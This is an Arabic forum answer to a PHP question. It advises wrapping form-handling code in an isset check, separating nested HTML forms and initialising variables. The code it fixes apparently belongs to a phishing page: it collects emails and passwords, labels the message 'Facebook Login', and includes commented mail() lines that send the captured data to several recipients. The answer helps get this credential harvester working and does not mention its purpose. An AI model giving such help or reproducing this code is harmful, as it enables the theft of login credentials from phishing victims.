اذهب إلى المحتوى

السؤال

Recommended Posts

  • 0
نشر

تحتاج أولا إلى وضع كود ال PHP بداخل شرط، حتى تضمن تنفيذه فقط عند إرسال الإستمارة و ليس كل مرة يتم فيها تحديث الصفحة يُنفذ الكود بفرض أن إسم زر الإرسال هو send فستضع الكود بداخل:

<?php

if (isset($_POST['send'])) {

  // code here 

}

أيضاً معايير إستخدام HTML تُحدد أنه لا يُمكن إنشاء عناصر form متداخلة، أي أن وضع عُنصر form بداخل عُنصر form آخر غير مسموح به، يُمكن إنشاء إستمارات مُتعددة لكن لا يمكن وضعها بشكل متداخل.

لذلك الإستمارة الداخلية الخاصة بك عليك وضعها بشكل منفصل و تضع بداخلها زر الإرسال:

<div id="openLogin">

  <!-- ... -->

  <form method="POST" action="index.php">

    <input name="email" id="openEmail" type="email" class="form-control" placeholder="Email address" required autofocus>
    <input name="username" id="openPass" type="password" class="form-control" placeholder="Password" required>
    <input name="password" id="openPassConfirm" type="password" class="form-control" placeholder="Password confirm" required>

    <input type="submit" name="send" value="Submit">
  </form>

  <!-- ... -->
  <form class="form-signin" role="form" action="javascript:;">
    <!-- ... -->
  </form>
  <!-- ... -->

</div>

لاحظ زر الإرسال يجب أن يحتوي على خاصية name بنفس القيمة التي نتحقق منها في الشرط.

في كود PHP تستخدم متغيرات مُباشرة، قبل تعريفها تستخدم مُعامل الربط يجب تعريفها ثم إستخدام مُعامل الربط:

$message .= "========== Facebook Login ==========\n";

// في البداية يجب تعريفه ثم بعد ذلط تستخدم مُعامل الربط
$message = "========== Facebook Login ==========\n";

في الأسفل أيضاً تستخدم متغير بالإسم $IWP بدون تعريفه:

// $str = array($send, $IWP);
// foreach ($str as $send)
// 	if (mail($send, $subject, $rnessage, $headers) != false) {
// 		mail($Send, $subject, $rnessage, $headers);
// 	}

انضم إلى النقاش

يمكنك أن تنشر الآن وتسجل لاحقًا. إذا كان لديك حساب، فسجل الدخول الآن لتنشر باسم حسابك.

زائر
أجب على هذا السؤال...

×   لقد أضفت محتوى بخط أو تنسيق مختلف.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   جرى استعادة المحتوى السابق..   امسح المحرر

×   You cannot paste images directly. Upload or insert images from URL.

  • إعلانات

  • تابعنا على



×
×
  • أضف...